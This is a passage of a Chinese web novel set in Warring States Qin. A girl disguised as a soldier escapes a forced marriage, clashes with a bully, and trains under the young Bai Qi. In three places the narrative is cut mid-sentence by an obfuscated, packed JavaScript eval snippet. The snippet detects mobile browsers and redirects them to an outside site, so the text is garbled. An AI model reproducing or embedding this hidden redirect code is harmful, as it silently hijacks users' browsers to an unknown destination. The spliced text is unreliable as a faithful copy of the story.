白起对上楚越好奇的视线,“对呀。” 历史上白起的身份成迷,究竟是秦人还是楚人,千百年来莫衷一是,究竟是楚太子之后,还是秦国老世族之后,亦或是秦国公子白之后,无人得知。 她看向白起,这位将来的杀神。 十六七岁的少年,看起来很瘦,却并没有弱感,穿着未染色的粗布白长襦,五官整齐,相貌清俊,一双漆黑的双眸里面,眼神有力。 “你盯着我做什么?”白起警惕道,他一警惕,就变得严肃,漆黑的眼眸看起来便深邃,有力的目光,因此锋芒毕露。 白起看向魏冉,双方交换了一个眼神,魏冉道:“你不要那么记仇嘛,我们两个又不是故意针对你。” 楚越收回目光,摸了摸脸上的淤青,和嘴角干涸血迹,“既然是误会,解除了也就解除了。” 一双手搭在了她肩上,将她往过一揽,魏冉笑道:“对嘛,都是兄弟。”楚越如临大敌,掀开他的手,“别碰我。” 魏冉讪讪收手,“你好小器。” 草堆松软,魏冉和白起很快睡着,楚越的肚子还在叫,她睡不着,就这样一直睁着眼睛到了后半夜,天边泛起鱼肚白,帐外急促沉重的脚步声,让三人都警惕坐了起来。 天光将明未明,微弱的晨光从屋外照入,楚越看清来人的脸,嬴华喘着气,胸脯起伏不定,盯着楚越的眼里满是愠怒。 11. 留下 白起和魏冉看清来人身上甲胄,站了起来,都尉对他们使个眼色,两人退了出去。 出帐前,两人不约而同看了一眼楚越。 “公子,司巫在这,还请你将她带回去。”都尉说完,也离开营帐。 帐中一时只剩下两人,嬴华盯着楚越不说话,楚越见他生气,知道他要骂自己,干脆垂下脑袋,当起了鹌鹑,气氛陷入了诡异的沉默。 良久,嬴华重重叹口气,搬起个木桶倒扣在地上,对灰头土脸的楚越道:“坐这儿!把你那脸洗干净。” 他让人打了一盆清水,楚越却坐在木桶上动也不动,精神萎靡,双目无神的盯着正前方。 这几个月的种种过山车一样在她眼前掠过。 一厢情愿的赐婚、饥寒交迫、被欺负,又被白起按进灰堆里,一口饭没吃还要白挨几十军棍。 原本,这一切委屈都是可以忍受的,可在看到嬴华的一瞬间,楚越绷不住了,所有的委屈一起涌上心头。 满是灶灰的脸上被哗哗的眼泪冲出一条洁白,灶灰混合着眼泪,被她抹眼泪袖子带开,成了个大花脸。 嬴华瞧着楚越这张脸,又气又觉得好笑,楚越看嬴华笑了,抽泣的幅度更大了,她捂着脸,呜呜哭出声来。 “别哭了,我又没骂你,你哭什么。” 嬴华无奈,只得亲自动手,拧干毛巾帮楚越擦干净脸上头上的灶灰。 楚越哭的更厉害了,她似有满腹的怨气,遇上纵容,于是全宣泄出去。 不知道自己在哭什么,就是很委屈。 “别哭了!”嬴华无奈,“无辜闹营二十军棍。” 楚越的嘴一下闭上,眼泪汪汪的望着嬴华。 嬴华见楚越不哭了,开始审问她:“为什么要跑?” 他的脸上多了严肃。 楚越更委屈了,“我不嫁!” “不想嫁给嬴轩,你可以跟君上说,宗室里那么多子弟,你可以找一个你喜欢的……你往这里跑做什么?满军营都是男人,遇到危险怎么办?” “我不嫁人。”楚越回道,“我就想做自己想做的事情。” “胡言!哪有女子不嫁人的?你还想做自己想做的事情,那你说你想干什么?”嬴华斥责道。 对于嬴华的问题,楚越避而不答,她咬紧了牙关,“我不回去。” 嬴华忍无可忍,巴掌举起又落下,落下又举起,最后捏成拳,狠狠捶在了墙上,吓了正进来的魏冉和白起一跳。 他们手里都端着碗,“将军,别生气,吃饭了。” “不吃!”嬴华没好气道。 看到饭,楚越眼睛发绿,“不行,我要吃,我要饿死了。” 嬴华看着跟饿死鬼投胎一样狼吞虎咽的楚越,将自己面前那碗推到了她面前,楚越抬起头,巴巴看了他一眼,嬴华以手掩面,十分无奈。 魏冉见状,小心翼翼劝道:“公子,小兄弟想报效国家,就让他留下吧。” 嬴华瞪向魏冉,魏冉低头。 “你就算把我送回去,我也会再跑!”楚越吃了两口,肚子里有东西垫底,腰板也直了起来,“我是在为大秦效力。” 白起赞叹的看了一眼楚越,拍了拍她的肩膀,“小兄弟有志向!” 嬴华蹭的一下站了起来,“你效什么力!回不回去?你不回去我……我打断你的腿!” 说着,他抬起了手。 见嬴华要动手,楚越闪躲迅速,呲溜绕到白起魏冉身后,一边与嬴华周旋,一边梗着脖子道:“不回去,我才不回去,你打死我我都不回去。” “你....我!” 嬴华被她气得原地转了两圈,一屁股坐在小凳上,以手掩面,半天说不出话来。 楚越不看嬴华,反正她是不会回去的。 嬴轩克妻啊! 留在战场固然会死,难道回去嫁给嬴轩就不会死吗? 良久,嬴华抬起头,上上下下打量了楚越一眼,“你背着家里来从军,带盔甲带剑了吗?剑呢!从军剑都不带!” 拿了,拿了。她考试带笔了。 忍者神龟有了靠山,一下子扬眉吐气,楚越委屈道:“都被抢了。” “你怎么不去找掌管军法的文吏?哑巴了?”嬴华气不打一处来。 说? 之后呢? 会挨打的。 挨打是次要的,万一被发现是要命的。 楚越不语,只是坐回桌前,暴风吸入早饭。 见楚越吃起饭来狼吞虎咽,嬴华就知道她没少吃苦,于是更生气了,紧握的拳头猛地砸在桌面,餐具跳了一跳。 “你要把我气死是不是?” 楚越不语,只是一味吃饭,饿的时候,是没有心情生气的。 不吃饭,怎么有力气继续往前走。 士卒操练结束,楚越就带着嬴华、都尉、魏冉、白起四人找到了诙,嬴华朝诙伸出手,不由分说道:“东西还回来!” 楚越终于懂了战国的弱者生存法则,那就是,要么自己强,要么有靠山。 正所谓,大争之世,强则存,弱则亡,大国相互倾轧,小国卑微周旋于大国之间求得一线生机。 诙强,欺压楚越,楚越不忿,找到了新靠山。 靠山一找就是好几座,其中一枚还是核弹白起,何愁小小的诙不平。 但事情并没有楚越想象中进展的那么顺利,面对都尉和嬴华,诙不仅不归还,还倒打一耙。 “将军为何偏向张立春,来抢夺我的东西?”诙无赖道,“就算你是将军,也不能无端抢夺士卒财物吧。” 楚越瞪大了双眼,“你不要脸!” 诙不认识嬴华,都尉却知道嬴华的身份,出声催促诙将玉佩还回去,诙不依,还大声叫嚷,引得周围士卒纷纷围观。 他装出一副委屈样,说都尉不公,一味偏袒张立春,又说将军仗势欺人,欺凌弱小。 众人议论纷纷,诙的同伙更是趁机煽动人群。 楚越看着诙如此,心想这也太不要脸了。 嬴华也是第一次见到这种人,气得笑了,“我秦军当中怎么会有你这种败类!” 白起站了出来,据理反驳,“诙。女脩吞食鸟卵生下秦人始祖伯益,故而嬴氏以燕子为图腾,剑柄有燕鸟纹,你莫不是还是赢氏子弟?” “就他那样还赢氏子弟?”人群中有与诙同乡的,无情戳穿了他的谎言,嘲讽道:“他就是个无赖,还赢氏子弟?” 诙见一计不成,又生一计,“那张立春也不姓嬴啊,他怎么证明这剑是他的。” “上面有字。”楚越立刻道。 她捡了根树枝,在地上画出那两个字,“不信你可以将剑拔出来看。” 诙依旧不罢休,“分明是你趁我拔剑时偷看的。” “你!”楚越怒了,上前就要夺剑,以前不动手,是因为对方人多势众,真当她打不过吗? 嬴华眼疾手快,一把抓住了楚越胳膊,斥责道:“你做什么?军营禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377944|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止私斗,你想死吗?” “我的剑,那是...” 嬴华盯着楚越的眼睛,神情认真,“退回去。” 君子遇上无赖,有理也说不清。 嬴华扫了一眼围观的士卒,只能暂时罢休,对楚越道:“好了,先这样,剑的事情以后再说,你先去拿你别的东西。” 楚越不忿,却也想明白缘由,意识到自己冲动,听话转身进了营帐,找到自己的床位,她没什么可拿的,除了那份假的文书。 所谓狡兔三窟。 她充分吸取了商鞅前辈的经验,提前给自己安排了假的‘身份证’。 楚越将‘身份证’塞进袖子,回过头,嬴华正双手抱胸,面色凝重的望着面前一张大通铺,沉思良久,他义正言辞跟楚越说: “现在,马上,给我回咸阳!我让人送你回去。” “我不回去,我不嫁给嬴轩,我谁也不嫁。”楚越实话实说,“让我嫁我就去死。” 嬴华看了一眼帐门口,压低了声音:“你别给我说这种话,我告诉你,我不吃这一套,你是不是有想嫁的人,你跟我说,我帮你想办法。” 他口气温和,俨然为她着想的样子。 “我喜欢....” 楚越抬眸,盯着嬴华,嬴华对上她视线,“谁啊?” “我喜欢你。” 嬴华眨了眨眼,楚越没从他眼中看到震惊,他盯着楚越,目光平静,“行啊,那我娶你。” 楚越瞳孔一阵紧缩,下意识道:“不!” 下一瞬,头上挨了重重一巴掌,嬴华怒道:“你连我都耍是吧!” 他真的生气了。 楚越眼睛一酸,捂着头,无奈又委屈。 她不回去,嬴华也没办法,只能让她继续留在这里,都尉犯了难,一把拉住嬴华,“公子,兄弟一场,你不要害我!” “她若是在这里出了事,我怎么跟王上交代。” 嬴华摊手,“那能怎么办,宗室闹翻了天,非要王上给个说法,王上得知此事,震怒不已,说她既然离开咸阳,就不要回去。她也不想回去,更不会跟王上认错,不让她留在你这儿,你让她去哪儿?” 没有亲人,她是个孤儿。 都尉‘哎呀’连连,“这这这...怎么能放我这儿?军令一下,大军随时可能开赴战场,我带着她?这太危险了。” “她又不是没去过。”嬴华无奈叹口气,看向不远处楚越。 都尉也顺着嬴华的视线望去,“话是这么说,但之前她是司巫,还有公子你在。那我...我怎么管的了她?” 国君家的孩子,他怎么敢管。 万一不小心得罪了她... 都尉不敢想。 “公子,你还是把她带回去吧,或者将她安置在别的地方。” “那也得她愿意跟我回去啊。”嬴华叹气,“不是我想怎么样,是她想怎么样。” 她悄无声息的就离开了咸阳,起初众人还以为她遇到危险,为人劫持,快马加急封闭所有关隘,严加盘查。后来才慢慢想明白,她只是逃婚。 “她从小就很有想法,一个人来到秦国,一个人跟着我们去打蒲阳,一个人坐在台阶上,只为了说出自己要说的话。她很倔,我也相信她也一定知道自己在做什么。你能带出来那么多锐卒,不少她一个。” 他看向都尉,一只手搭在都尉肩上,“大秦的女儿,未必逊色于男子,我只有一句话嘱托,请你,尽量让她活下去。” 12. 他们三个 这些话一字不落的掉进了帐篷后偷听人的耳朵,楚越捂住嘴,才没让眼泪流下来。 她怕嬴华一定要带走她,才来偷听他们说话,谁知却意外听清嬴华这一番,肺腑之言。 以前总盼望长大,被嬴华当做成年人,可真的到了这一天,却早已经,物是人非。 楚越死死咬住嘴唇,用疼痛驱散酸涩。 嬴华和都尉说完话,将楚越叫到一边,叮嘱道: “王上现在很生气,说到底这桩婚事丢脸的还是公室,还是王上,但牛不喝水不能强按头,你不想嫁就算了。” 他长叹口气,“你来这里肯定有你自己的理由,那就这样吧,等王上气消了,你再回来。出门在外,尤其是军中,你要注意安全。” 说到在军中,嬴华严肃道:“你别跟军法犯倔,军法不留情的,你要遵从军令,不能任性妄为。” 楚越低头,隐去眼中泪光,“知道了知道了。” 嬴华取下佩剑,塞到楚越手中,“剑丢了就丢了,没什么大不了的,那种无赖,离他远点就行。” “知道了。” 交代完一切,嬴华还有要事在身,便先行离开。 楚越爬上山坡,眺望嬴华远去的身影,直到那道背影和落日一道消失在山谷,视野所及,再找寻不到他一丝踪影,那眼泪才砸在地上。 怕他知道,又怕他不知道。 复杂的情愫交织心头,谷风阵阵,吹起她额前碎发,暮色从身后天际沉沉压来,天要黑了,她必须要返回军营。 楚越用袖子擦掉眼泪,梳理了下头发,朝和嬴华相反的军营而去。 人要向前看,向前走。 哪怕,不知道前在哪里,她只知道她不会回头,也不能回头。 都尉知她与诙不和,于是将她调到了魏冉麾下。 魏冉跟陈胜一个官职,为屯长,一屯按制是五十人,手下五个什长,但在实际军队序列之中,一个屯不一定有刚好五十个人,人数往往在三十人到五十人不等。 楚越原本就隶属于这个屯。 她是这个屯里土生土长的人。 都尉调整,也只是调整了她所在的伍,让她远离诙。 魏冉是屯长,白起是他的助手,屯副,执掌军法,还有另一个屯副孟守,分掌庶务。三个年轻人,年龄在十六岁到二十岁不等。 这大抵就是人与人的不同吧。 再往上,起步就更高,嬴疾起步是庶长,比屯长更高。 “小公子,你知道宫里的芈夫人吗?那是我姐姐。”魏冉和楚越闲聊道。 “我知道,芈夫人很得大王宠爱,生下了公子稷。” 魏冉嘿嘿一笑,“对,我是公子稷的舅舅。”说完,他用下巴指了指白起,“他也是嬴氏后人,是秦武公之子公子白的后人。” 楚越‘哦?’了声,他居然是公子白的后人吗? 嬴姓,白氏,公族之后,又被人称为公孙起。 秦武公有子嬴白,但武公死后,并未传位给儿子,而是传给了弟弟秦德公,嬴白受封于平阳,他的后人以白为氏。【1】 白起注意到落在自己身上的目光,回看了楚越一眼,他的眼睛很黑,沉寂如潭水。 魏冉对白起使个眼色,两人站了起来,对楚越道:“走。” “什么?”楚越不解问道。 “你第一天调过来,送你一份大礼。” 三人蹲在草垛后,楚越好奇问道:“是什么大礼?” 白起按住她肩膀,“不要说话。” 不多时,诙那令人厌恶的身影独自出现,楚越意识到,他们所说的大礼,可能指的就是他。 诙找了个没人的地方,开始解腰带,楚越别过头,魏冉和白起却悄悄摸了上去,他们一边往前,一边给楚越打手势,让她跟上。 大概猜到他们准备做什么,楚越跟了上去。 两人逼近,用提前准备好的破布,一把将诙的头蒙住,按在地上,三个人六只手六只脚齐往诙身上招呼,楚越抬脚狠狠踹了诙两脚,又觉得不解气,还想再踹。 眼见有人来了,白起一把抓住楚越的胳膊,将她拉开,“好了,走了。” 三人一口气跑回营帐,坐在稻草堆上,大口喘着气,你看看我,我看看你,不约而同笑出声来。 “哈哈哈哈哈” 魏冉笑完,对楚越道:“小公子,对待这种人不需要讲礼,他耍无赖,咱有拳头。” 说着,他在楚越面前挥了挥自己的拳头。 “你们两个真坏,不讲武德。”楚越笑了。 趁人家上厕所偷袭,顾头不顾腚。 真.首尾难顾。 魏冉和白起齐齐看向楚越,“什么你们两个,你没动手吗?” “哈哈哈哈。”楚越笑了,指着自己,“我们三个是吧?” 魏冉弯腰拍了拍长襦上的灰,“他都不讲礼,我们为什么要和他讲德?孔老先生说以德报怨,那后面不也还问,何以报德?” 白起笑道:“白天人多,公子华将军、都尉与一小卒纠缠,有失身份,而且若是处置不好,容易影响军心。” 楚越想了想,“可是,他应该会猜到我头上的吧。” 她扫了面前两人一眼,魏冉看向白起,两人相视笑了下,一起看向楚越,楚越垂眸,“哦。” 果不其然,第二天诙和他的同伴就找上门来,楚越正走在路上,前面忽然出现一人,挡住她前路,楚越止步,觉察到危险,往后退,另一人一人抄后,将她堵在中间。 楚越环视一圈,周围的路都已经被堵死,她却全然不怕,冷冷看向诙。 “军中禁私斗,你想死吗?” 诙冷笑声,“昨晚是你打的我吧。” “你说是我就是我,你有什么证据吗?”楚越反问道。 果然,不讲道理就是爽。 诙笑了一下,“好,要证据是吧。” 一串闪着光的东西,被诙举了起来,是她的野猪牙...楚越本能按向自己脖间,该死的,怎么这个时候掉了。 都怪白起,把绳子扯断了,楚越修补不好,只能装在身上,跑得稍微一快,野猪牙就飞出去了。 “你偷我东西!”楚越先发制人,大声叫嚷道:“你这个贼,居然敢偷我东西,盗窃他人财物,按军法当杖。” “和我去见都尉!” 只有冤枉你的人,才知道你有多冤枉。 诙显然料到了楚越会这么说,白了她一眼,仰手将拎着的那串东西抛了出去,楚越稳稳接住。 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379241|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同伴上前,将一把剑和两块肉干递给楚越。 “还给你,肉算我的赔罪,以后我们一笔勾销,互不相欠。” 诙盯着楚越眼睛,询问她的意见。 肉干在大秦军营是硬通货,堪比后世的香烟,容易保存,还香喷喷。 足足两块,诙下了血本。 “既然如此,我就大人不记小人过。” 诙认真看了她一眼,“你最好不要耍我。” 说完,他一抬下巴,招呼同伴走了。 魏冉和白起闻讯赶来时,诙已经走了,楚越举起剑,对两人道:“他把剑还给我了。” “还有肉干。” 楚越给了两人一人一块,“大恩不言谢,刚好有肉干,便以此酬谢二位,相助之恩。” 魏冉接过肉干,拍上楚越的肩,“东西我收下了,都是兄弟,说什么谢不谢的。” “看来他也不想多生事端。”白起若有所思道。 比起肉干,白起显然对楚越手里的剑更感兴趣,“小公子,可否将佩剑给我看看?” 楚越想也没想,便将剑递给了他,白起接过剑,拔剑出鞘,剑身上的铭文,字字清晰。 按秦制,所有武器上都要錾刻工匠的名字和监造者姓名,他看出这把剑不俗,想看是出自哪位大师之手。 看清剑身文字,白起瞳孔一阵紧缩。 他拿着剑,询问楚越道:“这剑是何人所赠?” 楚越对上白起一双深黑无光的眼眸,“是家里的长辈为我定制,希望我能够用这把剑保护自己。” 白起猛然抬头,紧紧盯着楚越,目光震惊而错愕,他的唇,抿了起来,脸色也在白红二色之间切换。 面前的俊秀小公子,厨房中自己的所作所为,以及都尉的发问,都被这把剑联系在一起,合多为一。 楚越敏锐的观察到,白起的耳根微微泛红,她狐疑蹙眉,谨慎盯着白起的神情,小心试探道:“怎么了?” 好半晌,白起才羞愧的朝楚越一拱手,从齿缝中挤出一句—— “对不住!” 这话一出,他的脸更红了,将剑塞进楚越手中,头也不回的跑开了。 楚越心头涌上股不好的预感,眼皮也不合时宜的跳了下,魏冉茫然望着白起落荒而逃的背影,“他怎么了?” “不知道。” 入夜,帐篷里又响起了久违的魔音贯耳呼噜声,这帐篷里只有四个人,但魏冉一个人的阵仗,能顶得上八头牛齐鸣。 呼噜声一直在耳畔回荡,楚越实在受不了了,蹑手蹑脚从床上爬下去,一个人蹲在帐篷门口发呆。 月华如练,难得的寂静,楚越坐在地上,开始享受久违的宁静。一道斜影投到她脚边,楚越顺着影子望过去,是白起,看来被吵醒的不止她一个人。 又或者,他没睡。 白起站在帐门口,望向楚越的目光踌躇。 楚越困惑看向他,心里隐约猜到些什么。 白起不会猜出来了吧? “你怎么了?”她按下心中防备,小心试探道。 白起走近了楚越,抱拳郑重向她道歉,“女公子,之前的事情,对不起!” 楚越心一沉,蹙眉,眼睛微微眯起,打量白起道:“你是怎么知道的?” 13. 小兵日记 楚越曾经对水端详过自己的脸,黑,好黑一张脸。 军训前,她站在人群中,白的鹤立鸡群,几个月军训,三百六十度无死角的晒,虽没晒够一百八十天,但已经黑的泯然众人。 俗话说,一白遮百丑,一黑之下,分不清男女。 按秦军传统,将头发往上梳成向左的偏髻,秦人尚右,楚越等级不高,于是往左偏,再戴上小帽,杏眼圆颧的的柔和,被眉目间的锐毅冲淡。 一个俊俏的少年,横空出世。 再者,她这体格放在同龄人中,相当能打。 健康的肉蛋奶搭配,让楚越长得高大结实且健康。 虽然目前还不如那些二三十岁的老兵,但她站在他们面前,也并不矮多少。 秦人的平均身高没有想象中那么高。 以兵马俑为例,看起来人俑个个一米八,但秦俑脚下有垫砖,头上有发髻,除开这些,人均身高很快降下来。而且,陶俑是陶俑,泥土捏的,想diy多高就diy多高。 根据秦汉出土情况来看,这一时代男子身高在平均在一米六左右,女子在一米五左右。 两个著名的秦汉人物,海昏侯刘贺一米七几,辛追夫人一米五几。 除开先天因素,人的身高和饮食息息相关,吃的不好,发育不好,就是长不高,这两位‘肉食者’尚且没有一米八,何况寻常人。 古人平均身高不可能超越现代人。 楚越可是按照现代营养学安排自己食谱的人。 放在现代,谁会刻意去怀疑一个一米八的黑皮男装俊俏小伙,是男装大佬呢? 所以,白起到底是怎么知道的? 楚越盯着他的眼睛,白起那双平时不管发生了什么,都镇定自若、炯然有力的眼中,现在却写满仓促与尴尬。 被楚越这么一看,眼前少年更窘迫了,当即别开视线,低下头去。 “我今天看到了剑上的铭文,那是我在工坊任职的一位老友的名字,之前他对我说,要锻一把宝剑,是君上为女公子所铸...” 白起的声音越说越低。 他不得不再度郑重致歉,“抱歉。” 原来不是看出来的,是因为剑上的铭文。 她还以为是什么呢! 早知道不给他看了。楚越有些后悔。 但事已至此,她只能道:“好了,别说了,坐吧。” 既然被看出来了,当然要先稳住对方,将事情控制在越小的范围,对她越有利。 白起在离楚越一步之隔的地方坐下,和她保持着应有的距离。 “女公子,你…为什么不睡觉?” 楚越做了个嘘的手势,白起侧耳倾听,但听一道震耳欲聋的呼噜声从帐内传来,他这才恍然大悟。 两人相视一笑,白起笑完,又意识到什么,低下头去。 楚越瞥了他一眼,“看吧,不是我不睡觉,实在是……” 白起莞尔,“这样的事很常见,女公子一女子,为何?”他欲言又止,或许是觉得乱打听别人的事情不好,于是又道歉,“在下多言了。” “无所谓,”楚越很豁达的摆了摆手,“你也别叫我女公子,还是叫我的名字吧,我叫楚越。” “每个人都有自己想做的事情,你来投军是为了实现你的抱负,我来到这里也是为了我自己的事情。” 逃婚怎能不算大事。 她的终身大事啊。 说到嬴轩,楚越又忍不住感慨,要是他不打呼噜的话... 听楚越这么说,白起有些诧异,悄然打量了她一眼,若有所思。 “走吧,睡觉了。”楚越估摸着巡逻兵快过来了,若是再坐在这里,势必会被盘问。 两人进了营帐,魏冉翻了个身,一条腿压在身边孟守身上,孟守不愧是睡得离魏冉最近的人,早练出了超脱无人之境,对耳边牛角全无感觉,依然酣睡。 军营当然不比王宫,所谓床铺,不过几块垫在地上的木板,衣被一体,褥子更是没有,只有干草。 所谓三军未动,粮草先行,草,就是军马的草料与战士睡觉的草。没有棉花的时代,草做被褥,天气冷了,全凭一身浩然正气御寒。 白起是个勤快人,每天会把草被子拿出去晒,晒过之后的干草,蓬松干燥,晚上睡觉不冷。 一堆草,从外到内依次睡着魏冉、孟守、白起、‘张立春’。 原本,那靠近门口,漏风的地方属于楚越,这样才符合她现在的身份,但马甲掉了,她总能有意无意受到些许优待。 比如,四个人睡一起的军官待遇让她享受到了,她还睡上了没风的床铺靠里,万一敌人摸进来了,外面还有三个保镖。 再多就没有了。 都说百年修得同船渡,千年修得共枕眠,她一次就花了三千年的功德? 不对,他们没枕头,功德还在。 好险,差点就掉功德了。 干草保暖,但也有个坏处,稍微一动,就会发出响声。 白起那边,屡屡发出噼里啪啦的细微声音,楚越侧首,发现白起往孟守那边挤了挤,又挤了挤,再挤了挤,孟守被他挤醒了,推了他一把,含糊不清道:“白起,你睡过去点!” 白起一声不吭,装睡着了没听见。 孟守气呼呼的,倒头又睡。 第二层马甲掉了之后,氛围变得更诡异起来,她似乎变成了洪水猛兽,白起避之不及。 楚越想笑,这人怪正直的。 调到谁麾下都改变不了楚越小兵的身份,一名合格的无爵小兵、大秦军队零级初始小兵,她要做的事情多了。 除了帮有爵的甲士干杂活,还要照顾长官,即三位直系领导魏某、白某、孟某,兼杂役和勤务兵于一体。 一个年纪稍大的甲士扔给楚越一个木桶,“打水去。” 庙小妖风大,水浅王八多,就这甲士命令人的口气,不知道以为他是秦王嬴驷呢。 那木桶很大,装满水,沉得要命,楚越双手提起木桶,才勉强将它提起来。她提着桶,且走且泼水。 干活的时候,她想把所有人都砍了。 走进营地,白起恰好路过,见楚越在提水,于是想要帮她,他径直抓住了木桶,“我去打水吧。” 楚越没有松开拎桶的手,“我可以的。” 力拔山兮气盖世,虽然扛不起鼎,但打桶水还是没问题的。 “那我帮你。”白起走向墙角的另一个木桶。 取水的河流离军营不远,虽然有白起的帮助,但楚越将一个比她还高的大瓮灌满,已经累得眼冒金星,宛如死狗。 甲士见水瓮满了,又让楚越去生火。 楚越蹲在灶头,望孔兴叹,她不会用打火石,一顿操作之下,引火的枯叶堆开始冒烟,但只冒烟,不见火,烟越来越大,很快就弥漫满整个厨房。 甲士见屋中冒烟,抬脚就要踹她,“你烧厨房呢!” 楚越将身一闪,躲了过去。 “你能干什么?废物!”甲士将衣摆兜住的柴火丢到地上,大骂道。 甲士一边点火,一边数落楚越,“你在家里,你母亲怎么教你的?连烧火都不会。” 听甲士提到‘母亲’,楚越第一反应是,她这具身体没母亲了,随后,她不知怎么想到了王后。 “她没教我这些。”楚越道。 王后教她认字、读书、礼仪,还真没教烧火,估计王后自己也不会,她可是魏国的公主,烧什么火。 甲士鄙夷看了她一眼,“你家里真是太惯着你小子了,一点活都不会干。” 楚越从烧火开始学,从最初的打火石相撞产生火花,到星点小火变成熊熊大火,舔舐炉膛。她得意得往里面塞了一根木柴,朝甲士炫耀道:“看,这火大吧!” “你要死啊,那么大的火,饭糊了!”甲士骂道。 楚越慌忙将柴火从炉灶里往出取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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楚越沉默了阵,忽然道:“这只是你想的罢了,我不想这样。”她看向白起,云淡风轻道:“我不想嫁,你要想嫁你去嫁。” 白起被她逗笑了,“你还有力气和我开玩笑,那看来已经吃饱了,吃饱了就睡觉吧,明天还得操练呢。” 两人不约而同翻身,背对彼此,干草被他们压得噼里啪啦,寂静之后,又是一阵噼里啪啦,楚越翻了个身,小声道: “白起。” 白起翻过身,觉察到楚越靠近,往后退了退,“怎么了?” “你能不能好人做到底。” “嗯?” “我想升级。”楚越道。 在心里骂了一千遍一万遍商鞅,但以军功不按血缘,的确非常进步,想要改变生活,吃上肉,就必须努力升级。 白起可以帮她一次,却不能次次帮她,归根结底,人能靠的只有自己。 听清楚越的话,白起往前靠了一点,“你想立军功?” “是。也不用太高,但也不能太低。” 白起低低笑了声,“以武所能达到最高,莫过于封君,你既然不要最高,那就勉为其难,做个大良造吧。” 秦朝二十等爵不是一蹴而就,是逐渐演变,《商君书》只记载了十七级,最高便是大良造,大良造之上,就是裂土的封君。 楚越被他逗笑了,“难为阁下这么看得起我,我若是做了大良造,而我又是你教的,你岂非要武功封君。” 白起略略自矜,“未尝不可。” 以武安国,武安君。 “会有那一天的。” “你还真想当大良造?”白起愕然。 楚越无语,躺了回去,“我是说你会实现所愿的。” 今日雄心万丈的小兵,明日战场上百战百胜的大将,白起和魏冉,都有光明的未来。 那她呢? 楚越又睡不着了。 14. 法师打射手 有想进步的心,第二天楚越一起床,就找到军中文吏,询问军功爵具体细节。 文吏拿出了竹简,将秦军所有爵位一一介绍,包括获得每一等爵位需要的人头、获得后的待遇、日常享受的补给、归乡后可以出任的官职、占据的宅邸、田地、奴隶,爵位的遗传、继承等等,事无巨细,全讲了一遍。 好长的游戏介绍。 还是篆书版。 楚越听完,又自己看了看,大概明白这划分详细的十六等爵位,实则只有三阶,民爵、大夫爵、卿爵。 军功爵等级不是凭空变出来的,是在周原有的体系上,发展演变而来。侯作为特殊的存在,是在后来才被纳入军功爵体系,形成广为流传的二十级军功制。【1】 列国是周的诸侯,国君最高能置的官吏,是卿,后来周室衰微,卿往上便多了封君,秦国没称王之前,国君自己都是诸侯,故而不能再封侯。 称王之后,最高便成了侯爵,与君爵并用,比如范雎封于应,为侯爵,也被称为应君。 武功封侯,是军功爵时代最高理想。 但能封侯的人毕竟没有几个,更多的人,还是在中低级爵位之间沉浮。寻常百姓授爵,最高不会突破民爵上限不更。 不更,享受不用充当更卒的特权。 大家都不更了,谁去更?让秦王去吗?让衮衮诸公去吗?那必然是不能。 不同出身的人,起点也不同,到达的终点也不同。 楚越结合自身实际情况,初步制定了一个学习计划。 “先学武,努力当上一级公士。” 她的口号很响亮—— “今年打基础,明年秉文兼武。” “五年模拟,三年实战,枕戈待旦,争得军功!” 白起点头,表示赞同,毕竟,她是去赚军功,不是去送军功。 练武,才能先保住自己的项上人头。 ‘武安君’特训班在一个非常不起眼的日子里开课了。 零基础小兵爆改超级兵,一年大良造,二年当封君,不要999,只要99,支持付款方式——秦半两【2】。 白起教了她一套非常实用的格斗技术,在强化新兵营阶段的格杀精要基础上,针对她的特长,挑出部分招式,重点练习。 三板斧能搞定的事情,不需要花里胡哨的技巧。 ‘老师’教的有道理,楚越学的也很顺利,毕竟她可是同时选修过健美操和太极剑的女大,这都能完美通关,肢体协调能力,不言而喻。 楚越理论掌握的非常好,不可谓不扎实。 但到了实操,问题就来了。 她只是犯了全天下人都会犯的错误,贪生怕死罢了。 楚越来的时候,背着一把剑,嬴华又给了她一把,这两把剑,都是数一数二的好剑,铁做的东西,在还大规模装备青铜武器的时代,不可谓不先进。 可惜落在她手里,明珠蒙尘。 不是太极剑课上那没开锋、软绵绵的道具剑。 这两把剑,都是真剑,吹毛断发。 剑越锋利,楚越越害怕它割到自己,轻则流血,重则破伤风,好好的格斗精要,让她耍成了贪生怕死剑。 白起不得不叫停她,“你不要害怕,你越害怕,恐惧就会越强烈,一旦让恐惧占据你的主导,你就会乱,任何时候都要保持平静。” 楚越端详着认真传授自己战斗心理学的白起,心想名将的素养就是不一样。 但‘名师’说了一箩筐,楚越还是害怕。 毕竟,剑会割到她身上,又不是白起身上,痛的是她,流血的是她,不是白起。 多练习了几遍,楚越熟悉了招式,生疏感与贪生怕死感渐渐褪了几分,格斗精要看起来便有模有样了。 白起找来魏冉,让他跟楚越对打,自己双手抱臂,站在一旁,聚神观看。 “你怎么不自己来?”魏冉一头雾水。 